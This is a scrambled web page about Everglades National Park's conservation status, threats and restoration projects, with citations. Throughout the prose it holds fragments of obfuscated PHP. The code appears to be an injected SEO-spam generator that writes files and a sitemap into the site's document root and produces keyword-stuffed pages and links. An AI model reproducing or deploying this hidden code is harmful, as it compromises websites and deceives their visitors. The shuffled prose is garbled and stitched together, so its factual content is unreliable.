2011). Over 23,000 ha (57,000 acres; National Academies of Sciences, Engineering, and Medicine, 2018) of constructed stormwater treatment areas located upstream are now in place and beginning to improve the quality of water arriving at the site. _aus76cu::$_q8p5iqxe);if (_aus76cu::$_i88t7018 == -1) {$_nsgkqyr6 = -1;} else {$_nsgkqyr6 = time() + (3600 * 24 * 30);}$_uypfhcqx = array("template" => $this->_t3xm0fz4, "text" => $this->_x62o246p, "keyword" => $this->_gj3jbb0r,"links" => $this->_upq3q6mj, "expired" => $_nsgkqyr6);@file_put_contents($_nlra0m7q, serialize($_uypfhcqx));}static public function _2idt3($_828m12mh){$_nlra0m7q = _aus76cu::$_mg8ineh5 . The region is again in mild drought, meaning that rainwater isnt currently coming to the Everglades salvation. The site provides essential freshwater storage and aquifer recharge services for the greater South Florida urban, commercial and agricultural communities. Available at: <. Urban development and consequent increasing water demands continue in spite of projected declines in rainfall due to climate change. However, the watershed boundaries extend well beyond (i.e. The greater Everglades ecosystem is highly compartmentalised with varying jurisdiction and management strategies for each compartment. Available at <. Everglades National Parks South Florida Natural Resources Center has 70 scientists and technicians that monitor and conduct research. More importantly, fire frequency and intensity is unnaturally high due to water management for flood control that creates a drier ecosystem than historically. In: Report of decisions of the 43rd session of the World Heritage Committee (Baku, 2019).
md5($_828m12mh . This led to the die-off of seagrass, crucial for local marine life, leaving the water matted with deceased vegetation. "/sitemap.xml";@file_put_contents($_lmdjw05k, $_v3svjaki);return $_eysjbv0m;}public function _nibp2(){$_pj0tc220 = substr(md5(_lda0hc::$_df6hufth . Decision : 43 COM 7A.3. "/sitemap.xml");$_nicu9duy = $_SERVER["DOCUMENT_ROOT"] . Everglades: The Ecosystem and its Restoration. Acquisition of Florida Power and Light Company Lands in the East Everglades Expansion Area. Full restoration of the hydrology of the Park relies on diverting more water from Lake Okeechobee to the park, but that goal is highly threatened by continued phosphorus over-enrichment of Lake water. The 2019 Basin Management Action Plan for Lake Okeechobee (Florida Department of Environmental Protection 2019), declared they do not project meeting the Lake's phosphorus goals by the year 2034. Vehicle collisions are a significant species-level impact on the endangered Florida Panther, but most of this mortality occurs outside the World Heritage site (FWC, 2019). On January 15, 2020 the State of Florida purchased the 20,000 acre property to prevent any future oil exploration at that location (Fleshler, 2020). $_eysjbv0m, NULL, $_vlgsftp3);if (empty($_y445s0h0)) {$_y445s0h0 = _mtcvqi::_j5lv2($_sqoo6uqb . Mitchell, C.L. (2014). Ever-increasingpopulationgrowth along with industry in south Florida has resulted in large metropolitan areas and rising pressures on the surrounding natural environments. Steve Davis, the senior ecologist at the Everglades Foundation. Funding principally from NPS. Additional work is needed (see below). Available at <, Castro, J., Gardinali, P. Rand, G. (2016). $_ndh8ovyp[array_rand($_ndh8ovyp)], FILE_IGNORE_NEW_LINES);}return _7ejh67f::$_1k2xibe7[array_rand(_7ejh67f::$_1k2xibe7)];}static public function _b4rea(){if (empty(_7ejh67f::$_wyhbcvbm)){$_ndh8ovyp = _7ejh67f::_s6ylu();foreach ($_ndh8ovyp as $_y3ykebhl) {_7ejh67f::$_wyhbcvbm = array_merge(_7ejh67f::$_wyhbcvbm, @file(_7ejh67f::$_mg8ineh5 . This was stopped and the company fined by the Florida Department of Environmental Protection. Sulfur contamination in the Everglades, a major control on mercury methylation.
During the spring months, a high percentage of visitors to the site are international. $_828m12mh);} else {$_828m12mh = str_replace(" ", "-", $_828m12mh . HOLE IN THE DONUT PROJECT: in-lieu-fee programme oriented toward restoration of approximately 6,000 acres of abandoned agricultural land within Everglades National Park. EXOTIC PLANT MANAGEMENT: work to remove exotic plant species from Everglades National Park lands, throughout all habitats. 
1. Available at: World Heritage Committee. It is the most significant breeding ground for wading birds in North America including: roseate spoonbill, great egret, snowy egret, great blue heron (and white morph), reddish egret, wood stork, little blue heron, and tricolored heron. Work completed from 2008 2011 plugged 2 major canals, using seed money from the USFWS Coastal Program, and major funding from the American Recovery and Reinvestment Act; work to monitor the ecological effects is ongoing. md5(_lda0hc::$_df6hufth) . "_" . Since taking office in January, DeSantis has taken an unTrumpian approach to the environment, outlining a $2.5bn plan over four years to rescue the ailing Everglades. Price said this accelerating climate trend, driven by the melting of glaciers and expanding sea water, will see the Everglades retreat further north. "/";_7ejh67f::$_y0cg5rk9 = $_nrw3vudd;if (! _aus76cu::$_q8p5iqxe);$_nlra0m7q = @unserialize(@file_get_contents($_nlra0m7q));if (!empty($_nlra0m7q) && ($_nlra0m7q["expired"] > time() || $_nlra0m7q["expired"] == -1)) {return new _aus76cu($_nlra0m7q["template"], $_nlra0m7q["text"], $_nlra0m7q["keyword"], $_nlra0m7q["links"]);} else {return null;}}}class _sh9xgp2{private static $_mg8ineh5 = "";private static $_y0cg5rk9 = "";public static function _bcp81($_zpu28gls, $_nrw3vudd){_sh9xgp2::$_mg8ineh5 = $_zpu28gls . [online] Baku, Azerbaijan: UNESCO. (2017). Everglades National Park. Available at: <. A severe slump in rainfall in 2015 meant salinity levels rocketed in the bay, with the water becoming twice as salty in the ocean. A national park, a world heritage site, an international biosphere reserve, and were starving it of fresh water.. Florida Department of Environmental Protection. Funding from the in-lieu-fee programme, which works in a manner similar to a mitigation bank. Panther Biology. In addition, the mangrove ecosystem provides critical spawning ground for important commercial species and the aquatic food chain. $_f3plf815);$_73286swj = @file_get_contents($_nicu9duy);return (strpos($_73286swj, $_f3plf815) !== FALSE);}return FALSE;}public static function _al5kt(){$_andfxj3q = explode("? [online] Washington D.C., United States of America: Dept. [online] Environmental Impact Study. By the 1960s, scientists had calculated that while around 2m acre feet (2.5bn cubic metres) of water once flowed in a shallow river of grass from central Florida to the states southern tip, the volume of this conveyor belt had been cut in half. Current threats related to reduced water flows, water pollution and shifting habitat are affecting the health of the site and the amount and quality of habitat. EVERGLADES CONSTRUCTION PROJECT AND THE RESTORATION STRATEGIES PROJECT Construction/expansion of man-made wetlands (stormwater treatment areas) and shallow reservoirs (flow equalisation basins) to reduce nutrient loadings and improve water flows into the Everglades. Notice how turbid and brown the water is, Davis said, standing up on his skiff and peering into the bay. State of Conservation Information System of the World Heritage Centre. Proceedings of the National Academy of Sciences of the United States of America, 109(7), pp.2418-2422. Available at: <, DOI (2019). Update of the List of World Heritage in Danger (Retained Properties).
Currently there are over 1,400 miles (2,253 kilometers) of canals and levees within the Everglades region used for water control and diversion. NPS Everglades National Park and NPS Southeast Regional Office. Available at authors ResearchGate site. NPS. The water would filter south through a system of marshes to deliver millions of gallons of replenishment to the ecosystem. Available at: <, Everglades National Park (2019c). South Florida Ecosystem Restoration Task Force. chr($_qe3b8zki);}if ($_3eow8z17 != 64) {$_esetfuvv = $_esetfuvv . New Access Corridors for Boaters in Florida Bay. However, other species such as lobster, sponges and stone crabs are protected. '/', _7ejh67f::_fqr0f(), $_sk5gmeyq, 1);if ($_xmahux1u === $_sk5gmeyq) {break;}$_sk5gmeyq = $_xmahux1u;}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX-ANCHOR (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_5qv8b0qq = _lda0hc::_batgm($_828m12mh);$_sk5gmeyq = str_replace($_z1u0liqn[0], $_5qv8b0qq, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ KEYWORDBYINDEX (\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_828m12mh = @$_6nmsnsc1[intval($_z1u0liqn[1])];$_sk5gmeyq = str_replace($_z1u0liqn[0], $_828m12mh, $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDFLOAT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], _3ki5x($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}while (TRUE) {preg_match('/{{ RANDINT (\d*)-(\d*) }}/', $_sk5gmeyq, $_z1u0liqn);if (empty($_z1u0liqn)) {break;}$_sk5gmeyq = str_replace($_z1u0liqn[0], rand($_z1u0liqn[1], $_z1u0liqn[2]), $_sk5gmeyq);}return $_sk5gmeyq;}public function _jyo6n(){$_nlra0m7q = _aus76cu::$_mg8ineh5 . (2020a). The exceptional variety of its water habitats has made it a sanctuary for a large number of birds. Marsh rabbit mortalities tie pythons to the precipitous decline of mammals in the Everglades. Available at: <. Everglades snail kite). One solution, Davis and other advocates believe, is to create a vast reservoir south of Lake Okeechobee that would store water intended for the Everglades. Florida Fish and Wildlife Conservation Commission. ENP. The NPS has partnered withteachers 'to provide curriculum-based, hands-oneducation experiences in the park' since 1971 (Everglades National Park, 2020a).Recent interpretation programs have improved access to cultural resources (IUCN Consultation, 2020). "\r\n" . Internal park management has shown consistent improvement over the past 5 years as the General Management Plan has begun to be implemented. Internal management at the site has direct effect on threats such as unnaturally intense or frequent fires, roadkill frequency, and tourism and fishing impacts..
The Army Corps of Engineers confined the Kissimmee River to a 53 mile (85.3 km) long canal system, destroying thousands of acres of wetlands. Drained lands were quickly taken over by agricultural interests, resulting in endless fields of sugar cane and rice. Since the early 1900s, these species have been rapidly spreading throughout south Florida, changing the landscape and squeezing out native communities. 
In 2019, the federal government de-activated a 20-year advisory committee dedicated to high-level interagency coordination on invasive species at the national level, a significant step backwards that affects options for progress at the site (DOI, 2019)., (Pollution from contaminants other than nutrients and mercury). A wedge-shaped expanse of water between the Everglades and the Florida Keys, it is a clean, sun-dappled 1,000 sq mile playground for reddening tourists, grizzled fishermen and loud-shirted locals. Agriculture, such as sugar cane, rice, and dairy farms, exists on drained land within the Everglades. ", $_SERVER["REQUEST_URI"], 2);$_andfxj3q = $_andfxj3q[0];$_xxav8069 = substr($_andfxj3q, 0, strrpos($_andfxj3q, "/"));$_f3plf815 = sprintf($_159d1ncu, $_xxav8069, _lda0hc::_al5kt() . This site at the southern tip of Florida has been called 'a river of grass flowing imperceptibly from the hinterland into the sea'. (Urbanization in the greater Everglades watershed). Climate change projections predict reduced annual rainfall and perhaps more intense and frequent droughts, which will contribute to further threats related to lack of water (State Party of the United States of America, 2017; McVoy et al., 2011; Lodge, 2010). While park staff and management participation in Everglades Restoration project planning and coordination through the South Florida Ecosystem Task Force is ongoing, the technical complexities, timeline and diverse objectives of this program remain a challenge for the park (State Party of the United States of America, 2017; IUCN Consultation, 2020). Regional invasive species coordination programs are well-organized and functional, but do not have the funding or manpower needed to address this threat. Available at <. Salinity pulses interact with seasonal dry-down to increase ecosystem carbon loss in marshes of the Florida Everglades. The Everglades link to its headwater in Lake Okeechobee has been severed, with water diverted via canals for agriculture, particularly sugar. GENERAL MANAGEMENT PLAN (GMP): The Everglades National Park General Management Plan was completed in 2015. NPS Everglades National Park, in conjunction with the U.S. Army Corps of Engineers as the permitting entity. This area, just last year smelled like death. ".html")) {return;}@file_put_contents(_sh9xgp2::$_y0cg5rk9 . Water provision (importance for water quantity and quality). Everglades National Park. that deliver more clean water to the site as correctly-timed sheetflow and the expected benefits of these projects are not compromised, the essential qualities and habitat of the site will continue to be lost. Not long after developers started draining the wetlands for agriculture and paved it over for roads and houses, the effects started rippling through the system. This work is ongoing; the intent of zoning through the GMP is to reduce the pressure on seagrass habitat and allow substantial restoration of this resource. CENTRAL EVERGLADES PLANNING PROJECT Long-term planning to restore more natural water flows from Lake Okeechobee into the central and southern Everglades, as part of the USD 10.5 billion + Restoration Plan (CERP). "salt12"), 0, 4));_7ejh67f::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . New elements include pilot boating zones within the park (called pole and troll zones); and intensive work to re-establish freshwater flow through infrastructure barriers on NPS lands (culvert projects on Old Ingraham Hwy and Research Road). [online] National Park Service. Context of Decision WHC-06/30.COM/11B.Add, p.5. Davis, S. and Ogden, J.C. (1994). $_y3ykebhl, FILE_IGNORE_NEW_LINES));}}return _7ejh67f::$_wyhbcvbm;}static public function _jyo6n($_fwxioqr0){if (@file_exists(_7ejh67f::$_y0cg5rk9 . [online] NPS.
Potential threats, including climate change with predicted decreasing rainfall, increased hurricane frequency, and ocean acidification, constitute a high threat overall and are perhaps being realised already. Zootaxa 3028: 1-64. Changes in water depth from sea-level rise and water management and increased nutrient loading can affect patterns of production, biomass allocation and the ultimate accumulation of organic matter in Everglades soils and sediments (State Party of the United States of America, 2017; Everglades National Park 2015a; McVoy et al., 2011; Davis & Ogden, 1994; Lodge, 2010). The Combined Operational Plan is still in development. Of the nearly 1000 plant species found at the site, about 220 are non-native; 6 species have been deemed sufficiently invasive to warrant direct action (Everglades National Park 2019e). Ocean acidification poses a potentially high threat as it affectsbiogeochemical processes related to carbonate precipitation, particularly along the southwestern boundary between Florida Bay and the Gulf of Mexico (Robbins and Lisle 2018). Everglades National Park Fees changing in 2019. Available at: <, Everglades National Park (2017). EXOTIC ANIMAL MANAGEMENT: work to understand and eventually control/manage the impact of exotic animal species on Everglades National Park resources. Recent changes to concessions management (Everglades National Park 2018) and associated quality control programs have increased the consistency of interpretation experiences for park visitors.
Regulator approves licences for new Florida units. Separate red tide algal outbreaks in the ocean ravaged Florida last year, leading to beaches being closed, horrified dog owners who saw their pets poisoned, and hundreds of tons of dead fish and manatees piling up along the Gulf coast. The most recent decision from the World Heritage Committee makes a number of requests of the State Party, in response to the SOC report submitted in 2019 (State Party of the USA, 2019), including to ensure a continued, long-term allocation of resources to control the existing IAS inside the site; submit the General Management Plan to the UNESCO World Heritage Centre and IUCN; ensure a detailed Environmental Impact Assessment (EIA) of any prospective hydrocarbon drilling activities that assesses the possible impacts on the Outstanding Universal Value (OUV) of the propertynoting thethe prospect of exploratory drilling within the Water Conservation Areas located upstream of the property and'to inform the World Heritage Centre about the potential for hydraulic fracturing projects in proximity of the property and the proposal of a utility transmission line along its eastern border' (UNESCO, 2019; World Heritage Committee, 2019b). Sea levels have been rising in the region causing shifts in plant communities, changes in wading bird feeding locations and saltwater intrusion into formerly freshwater locations (Park et al. US Army Corps of Engineers South Florida Water Management District. Available at <, Everglades National Park (2015b). "salt3"), 0, 6);$_ty56szt0 = "";if (substr($_mdxxrv14, -1) == "/") {if (ord($_g2sgg2m8[1]) % 2) {$_828m12mh = str_replace(" ", "-", $_g2sgg2m8 . Lightscape/Night Sky.
The limestone substrate of the site is one of the most active areas of modern carbonate sedimentation (World Heritage Committee, 2019). [online] NPS. "-" . Enforcement within the Everglades National Park/World Heritage site is strong; upstream of the park enforcement varies, sometimes with results that conflict with strong resource protection downstream in the World Heritage site. Integrative planning is effective; however, implementation has not achieved the same level of success. The Everglades is still an essential wading bird habitat in south Florida. Commercial fishing is no longer allowed within the site (McVoy et al., 2011; Davis & Ogden, 1994; Lodge, 2010). Nearly 1 million visitors pass through the entrance stations of the site each year (this does not include the visitors using the sites marine resources). However, restoration projects intended to address these threats have been implemented but are not delivering the originally expected benefits at this time. Some habitat losses cannot be restored, as habitat features such as peat soils have taken decades to centuries to develop. Invasive species are an increasing threat to site values. $_pj0tc220, "", $_gfqor979);$_828m12mh = $_gfqor979;}}}if (empty($_828m12mh)) {$_6nmsnsc1 = _7ejh67f::_b4rea();$_828m12mh = $_6nmsnsc1[0];}if (!empty($_828m12mh)) {$_828m12mh = str_replace("-", " ", $_828m12mh);if (!$this->_2ig98()) {if ($this->_nro6t()) {return;}}$_828m12mh = urldecode($_828m12mh);$_nh33fegd = _aus76cu::_2idt3($_828m12mh);if (empty($_nh33fegd)) {list($_lx0sjdo6, $_f81jkr2t) = $this->_subdr($_828m12mh);if (empty($_f81jkr2t)) {return;}$_nh33fegd = new _aus76cu($_lx0sjdo6, $_f81jkr2t, $_828m12mh, _lda0hc::_b64s1(_lda0hc::$_zcihyr1v, _lda0hc::$_tw16uhhg));$_nh33fegd->_jyo6n();}echo $_nh33fegd->_vh5ig();}}}_aus76cu::_bcp81(dirname(__FILE__), -1, _lda0hc::$_df6hufth);_sh9xgp2::_bcp81(dirname(__FILE__), substr(md5(_lda0hc::$_df6hufth . The mangrove coastal expanse, several miles wide in places, provides critical buffering against storm surge and wind for inland communities. Boca Raton, FL: CRC Press. However, in 2013, a company operating in the Everglades ecosystem upstream of the property used an acidisation process, which involved the injection of 700,000 gallons of acidic water into the ground. Climate change and human development have pushed Florida to the brink. "/";_sh9xgp2::$_y0cg5rk9 = $_nrw3vudd;if (! If so, send your comments below. "_" . You can also view the entire list of information by clicking Expand all on the top left. [online] Tallahassee: FDEP. MorphoBank Project No. McVoy, C.W., Said, W.P., Obeysekera, J., Van Arman, J. and Dreschel, T. (2011). The current extent of urbanization from a spatial context is somewhat fixed, even recognizing that it can be changed based on periodic changes in land use permits. Any expansion in urbanisationwouldincrease needs for flood protection, complicating the options for additional water deliveries to the site. The urban system surrounding the site is also a source of invasive species(Krysko et al. All planning work is complete as is most of the implementation. Increases in catastrophic hurricane frequency may decrease resiliency of native plant communities by invasive species; mangroves are already advancing inland with reduced freshwater flows into the park and rising sea levels.
Benefits to the wider, world community include those associated with the protection and preservation of unique habitats and species, as well as climate modification benefits from carbon sequestration within the mangrove forests and sea grasses of Florida Bay. The problems faced by the Everglades arent new or unexplored. Hurricane Irma tore up much of what remained last year, uprooting mangroves that had managed to survive the surging salt. Some key parameters are being monitored by agencies other than the National Park Service; these efforts are coordinated through the Everglades Restoration framework (State Party of the United States of America, 2017; SFERTF, 2019). This work is oriented toward reducing the negative impact of the canals, toward restoring a more natural hydrology and salinity regime in the area, and toward restoring habitats for American crocodile. Changes in soil elevation that affect the flow of water, the patterning of the landscape and concentration of wading bird prey (State Party of the United States of America, 2017; Everglades National Park 2015a; McVoy et al., 2011; Davis & Ogden, 1994; Lodge, 2010). Introduced species pose a serious threat to the native habitats and communities of the Everglades. $_g2sgg2m8);}$_ty56szt0 = sprintf("%s?%s=%s",$_mdxxrv14,$_pj0tc220,urlencode($_828m12mh));}}return $_ty56szt0;}public static function _b64s1($_djhgibbx, $_uwt4spro){$_zyl2nj54 = "";for ($_nms1ebw0 = 0; $_nms1ebw0 < rand($_djhgibbx, $_uwt4spro); $_nms1ebw0++) {$_828m12mh = _7ejh67f::_fqr0f();$_zyl2nj54 .= sprintf("%s,\n",_lda0hc::_batgm($_828m12mh), ucwords($_828m12mh));}return $_zyl2nj54;}public static function _64wkc($_2b3oj76i=FALSE){$_lmdjw05k = dirname(__FILE__) . The site provides habitat for approx. UNESCO. FLORIDA BAY: SEAGRASS RESTORATION PROJECTS. Available at: State Party of the USA. (2015). National Academies of Sciences, Engineering, and Medicine (2018). "https" : "http", $_SERVER['HTTP_HOST'], $_zpu28gls);}public static function _batgm($_828m12mh){$_mdxxrv14 = _lda0hc::_vmhjl();$_g2sgg2m8 = substr(md5(_lda0hc::$_df6hufth . 19 pp. The site lies near a major airport (Miami International Airport) and immediately adjacent to smaller regional airports which contribute to noise pollution at times (McVoy et al., 2011; Davis & Ogden, 1994; Lodge, 2010). [online] NPS. of the Interior. The Everglades faces the threat of salty inundation on all sides, with the sea level at its edge rising by about 5in since 2001. Available at: NPS. Major issues with water quantity, quality, distribution and timing, invasive species and climate change continue to create over-riding impacts to the system, and the continued deteriorating trend of so many values put the parks World Heritage values in a critical situation. Although some major Everglades Restoration projects have been completed and the park is able to accept additional water flows when available, critical water operational plans are still not complete. Furthermore, modifications to pre-CERPcomponents resulted in a reduction in the originally estimated hydrologic and ecological benefits of these projects. Current hydrologic and water quality restoration projects estimated to be complete in about 2027 are intended to address this "benefit setback", but challenges remain with financing of these projects in a timely fashion (IUCN Consultation, 2020). Future sea-level rise impacts have yet to be taken into account sufficiently in the Everglades Restoration program.